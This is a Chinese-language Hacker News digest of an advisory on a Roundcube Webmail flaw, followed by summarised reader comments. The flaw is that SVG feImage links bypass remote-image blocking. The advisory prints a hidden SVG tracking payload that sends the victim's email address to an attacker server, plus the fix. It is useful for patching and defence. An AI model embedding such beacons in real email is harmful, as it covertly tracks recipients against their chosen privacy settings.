Hacker News 中文摘要

RSS订阅

Roundcube Webmail:SVG feImage绕过图像屏蔽追踪邮件打开 -- Roundcube Webmail: SVG feImage bypasses image blocking to track email opens

文章摘要

Roundcube Webmail在1.5.13和1.6.13之前的版本存在漏洞,其HTML过滤器未能正确拦截SVG feImage标签中的远程图片加载,导致攻击者可绕过"阻止远程图片"设置来追踪邮件打开情况。该漏洞已在1.5.13和1.6.13版本中修复。

文章总结

标题: Roundcube Webmail <1.5.13 / <1.6.13 存在SVG feImage远程图像加载漏洞

发布日期: 2026年2月8日

漏洞概述:
Roundcube Webmail的HTML过滤器未将SVG feImage的href属性视为图像源,导致攻击者可绕过远程图像拦截功能,通过嵌入恶意SVG追踪邮件打开行为。

关键信息:

| 字段 | 内容 |
|------|------|
| 受影响版本 | 1.5.13之前版本,1.6.x系列中低于1.6.13的版本 |
| 修复版本 | 1.5.13、1.6.13 |
| 漏洞本质 | 过滤器错误地将<feImage>href属性识别为普通链接而非图像源,导致远程URL未被拦截 |

技术细节:
1. 过滤机制缺陷
- 当allow_remote设置为禁用时,过滤器本应通过is_image_attribute()函数拦截<img><image><use>标签的远程资源,但未覆盖<feImage>标签。 - feImagehref属性被错误归类至wash_link()处理流程,导致HTTP/HTTPS外链被放行。

  1. 攻击原理
    攻击者可构造包含以下代码的邮件:
    html <svg width="1" height="1" style="position:absolute;left:-9999px;"> <defs> <filter id="t"> <feImage href="攻击者服务器URL?email=受害者地址"/> </filter> </defs> </svg> 当用户打开邮件时,浏览器会自动加载远程图像,泄露用户IP和访问时间等信息。

修复方案:
Roundcube在提交26d7677中扩展了is_image_attribute()的匹配规则,新增对feimage标签的检测: php || ($attr == 'href' && preg_match('/^(feimage|image|use)$/i', $tag))

时间线:
- 2026年1月4日:漏洞报告至官方
- 2026年2月8日:发布修复版本

影响评估:
该漏洞使得"禁用远程图像"的安全设置失效,可能导致用户隐私泄露。建议所有用户立即升级至修复版本。

(注:原文中的技术验证过程、SVG规范说明等非核心细节已作精简,保留关键漏洞描述和修复建议)

评论总结

这篇评论主要围绕电子邮件安全和隐私问题展开讨论,主要观点如下:

  1. 关于RoundCube邮件客户端的正面评价
  • Galanwe称赞其简单易用:"RoundCube is dead simple to setup and use, the UI and search are very fast"(设置使用简单,界面和搜索速度很快)
  • stragies提出安全疑问:"if roundcube was the exception...or if soon other webmail clients will need to be patched"(RoundCube是特例还是其他客户端也需要补丁)
  1. 反追踪邮件的技术方案
  • smelendez建议预取图片方案:"prefetch every image...Every email gets flagged as 'opened'"(预取所有图片,让每封邮件都显示"已读")
  • jszymborski提到CORS限制:"Too bad CORS doesn't fix this"(可惜CORS无法解决这个问题)
  1. 邮件附件安全问题
  • jonathanlydall分享防范经验:"blocks all emails with either .svg or .htm(l) attachments"(拦截所有含.svg或.htm(l)附件的邮件)
  • Avamander指出安全挑战:"SVGs are just the tip of the iceberg...no purpose-built good libraries"(SVG只是冰山一角,缺乏专业净化库)
  1. 其他相关讨论
  • logicallee提及已读回执:"I wouldn't mind allowing...access to a read receipt"(不介意给发件人发送已读回执)
  • 1over137质疑漏洞披露时机:"Isn't it usual to give us time to deploy updates before disclosing"(是否应该给更新部署时间再公开细节)
  • michaelteter对博客真实性存疑:"this blog has only one post...references to what would have been previous posts"(博客只有一篇文章却提到过往文章)